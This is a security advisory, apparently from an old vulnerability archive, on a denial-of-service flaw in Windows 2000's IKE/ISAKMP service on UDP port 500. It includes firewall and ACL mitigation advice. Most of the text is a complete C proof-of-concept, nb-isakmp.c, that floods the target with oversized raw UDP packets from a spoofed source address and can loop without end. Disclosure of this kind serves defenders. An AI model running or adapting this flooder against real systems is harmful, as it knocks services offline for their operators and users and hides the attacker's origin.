|
COMMAND UDP DoS in Win2k via IKE SYSTEMS AFFECTED Win 2000 PROBLEM c0redump found a DoS on Win 2K, via IKE flood. A DoS attack can be carried out on Win2k machines running IKE (internet key exchange) by sending flooding IKE with UDP packets. This can cause the machine to lock up and render 99% of the CPU. Exploit ======= Connect to port 500 (IKE) of the Win2k box and start sending UDP packets of more than 800 bytes continuously. The box will eventually stop responding and services will be denied due to 99% CPU usage from the packets. Darren Reed added : Because of the crypto involved, this sounds very similar to the problem described in the paper presented at Usenix Security 2001 on DoS attacks against secure web servers (I think 6 clients are required to make an https server practically unusable). I wonder if a similar solution is worthwhile... (http://www.usenix.org/events/sec01/) Update ====== Exploit : /* Autor : Nelson Brito * E-mail : nelson@SEKURE.ORG or nelson@WWSECURITY.NET * URL : http://nelson.wwsecurity.net/ * Arquivo : nb-isakmp.c * Versão : 0.3 Alpha * País : Brasil * Data : 11/12/2001 * * * Descrição: * Este é a prova-do-conceito(proof-of-concept) do ataque de negação * de serviço(denial of service, a.k.a. DoS) que explora a falha do * IKE/ISAKMP(UDP 500) em sistemas Windows 2000. * * Esta é a versão em C de um código já lançado em PERL(Net::RawIP). * * Feliz Natal e um Feliz Ano Novo. * Merry Christmas and Happy New Year. */ #include <stdio.h> #include <netdb.h> #include <string.h> #include <getopt.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/udp.h> #define ISAKMP_LEN 800 #define IPPORT_ISAKMP 500 #define SEND_MAX 31337 extern char *optarg; extern int optind; extern int h_errno; void usage(char *name){ printf(\"\\nUse: %s [options]\\n\\n\", name); printf(\"\\t-s, --source*\\t\\tSource Address to Spoof\\n\"); printf(\"\\t-d, --destination*\\tDestination Address to Attack\\n\"); printf(\"\\t-p, --port\\t\\tDestination Port to Attack\\t(def: %d)\\n\", IPPORT_ISAKMP); printf(\"\\t-n, --number\\t\\tNumber of Packets to Send\\t(def: %d)\\n\", SEND_MAX); printf(\"\\t-l, --length\\t\\tPackets Length\\t\\t\\t(def: %d)\\n\", ISAKMP_LEN); printf(\"\\t-L, --loop\\t\\tSend Packets Forever\\n\"); printf(\"\\t-h, --help\\t\\tShow this Message\\n\\n\"); printf(\"Copyrigth(c) 2001 Nelson Brito<nelson@SEKURE.ORG>. All rigths reserved.\\n\"); exit(0); } void u_abort(int s){ printf(\"\\nnb-isamkp.c: aborted process id %d.\\n\", getpid()); printf(\"Rock my world, baby!\\n\"); exit(0); } /* * Eu já vi várias funções que fazem a mesma coisa, porém nunca de * uma forma tão robusta. Quero ver neguinho pagar pau pros gringos * agora. ;-) */ u_long getip(char *destination){ static u_long ip_addr; struct hostent *hostname; hostname = gethostbyname(destination); if(hostname == NULL){ switch(h_errno){ case HOST_NOT_FOUND: printf(\"getip(): the spcified host is unknown.\\n\"); exit(0); break; case NO_ADDRESS|NO_DATA: printf(\"getip(): the requested name is valid but does not have an IP address.\\n\"); exit(0); break; case NO_RECOVERY: printf(\"getip(): a non-recoverable name server error occured.\\n\"); exit(0); break; case TRY_AGAIN: printf(\"getip(): a temporary error occurred on a AUTH NS, try again later.\\n\"); exit(0); break; default: break; } } memcpy(&ip_addr, hostname->h_addr, hostname->h_length); return(ip_addr); } int isakmp_dos(int sock, u_long s_address, u_long d_address, int port, int number, int forever, int length){ int nbs, i, psize, times = 0, dp, iplen = sizeof(struct iphdr), udplen = sizeof(struct udphdr); struct sockaddr_in sin; struct _packet{ struct iphdr ip; struct udphdr udp; char data[length]; } nb_pkt; sin.sin_family = AF_INET; sin.sin_port = 1235; sin.sin_addr.s_addr = d_address; psize = iplen + udplen + length; memset(&nb_pkt, 0, psize); nb_pkt.ip.version = 4; nb_pkt.ip.ihl = 5; nb_pkt.ip.tot_len = htons(iplen + udplen + length); nb_pkt.ip.id = htons(0xdead); nb_pkt.ip.ttl = 0xff; nb_pkt.ip.protocol = IPPROTO_UDP; nb_pkt.ip.saddr = s_address; nb_pkt.ip.daddr = d_address; dp = port ? port : IPPORT_ISAKMP; nb_pkt.udp.source = htons(dp); nb_pkt.udp.dest = htons(dp); nb_pkt.udp.len = htons(length); nb_pkt.udp.check = htons(0xbeef); for(i = 0 ; i < length ; i++) nb_pkt.data[i] = 0x2e; times = number ? number : SEND_MAX; while(times > 0){ printf(\".\"); nbs = sendto(sock, &nb_pkt, psize, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr)); if(!forever) times--; } return nbs; } int main(int argc, char **argv){ char *version = \"0.3a\"; u_long source, destination; int lineopt, port = 0, nb, nbs = 1, loop = 0, number = 0, pkt_len, src_ok = 0, dst_ok = 0, length = 0; printf(\"--- nb-isakmp.c v.%s / Nelson Brito / Independent Security Consultant ---\\n\", version); (argc < 4) ? usage(argv[0]) : (char *)NULL; signal(SIGHUP, SIG_IGN); signal(SIGINT, u_abort); signal(SIGTERM, u_abort); signal(SIGKILL, u_abort); signal(SIGQUIT, u_abort); while(1){ static struct option my_opt[]={ {\"source\", 1, 0, \'s\'}, {\"destination\", 1, 0, \'d\'}, {\"port\", 1, 0, \'p\'}, {\"number\", 1, 0, \'n\'}, {\"length\", 1, 0, \'l\'}, {\"loop\", 0, 0, \'L\'}, {\"help\", 0, 0, \'h\'}, {0, 0, 0, 0} }; int option_index = 0; lineopt = getopt_long(argc, argv, \"s:d:p:n:l:Lh\", my_opt, &option_index); if(lineopt == -1) break; switch(lineopt){ case \'s\': source = getip(optarg); src_ok =1; break; case \'d\': destination = getip(optarg); dst_ok = 1; break; case \'p\': port = atoi(optarg); break; if((port <= 0) || (port > 65535)){ printf(\"main(): port range error.\\n\"); } case \'n\': number = atoi(optarg); break; case \'l\': length = atoi(optarg); break; case \'L\': loop = 1; break; case \'h\': default: usage(argv[0]); break; } } if((!src_ok) || (!dst_ok)) usage(argv[0]); if((nb = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))< 0){ printf(\"main(): socket() error.\\n\"); exit(0); } if(setsockopt(nb, IPPROTO_IP, IP_HDRINCL, (char *)&nbs, sizeof(nbs)) < 0){ printf(\"main(): setsockopt() error.\\n\"); exit(0); } pkt_len = length ? length : ISAKMP_LEN; isakmp_dos(nb, source, destination, port, number, loop, pkt_len); printf(\"\\nRock my world, baby!\\n\"); return(1); } SOLUTION Update ====== When IPSec is not in use, filter UDP dst port 500 on your border router / firewall. If you don\'t have a border router or firewall, then one of the various commercially available \"personal type\" firewalls can help. Notice that with built in Windows 2000 IPSec filters you *can not* firewall port 500 off (see also Microsoft Knowledgebase article Q253169). If you are actively making usage of IPSec at your site, then an immediate fix to this problem might not be available. ACL Lists on your Firewall/Router may help by limiting the range of IP addresses that are allowed to send UDP port 500 traffic to you, so that only legitimate IPSec tunnel partners can reach your server, might help.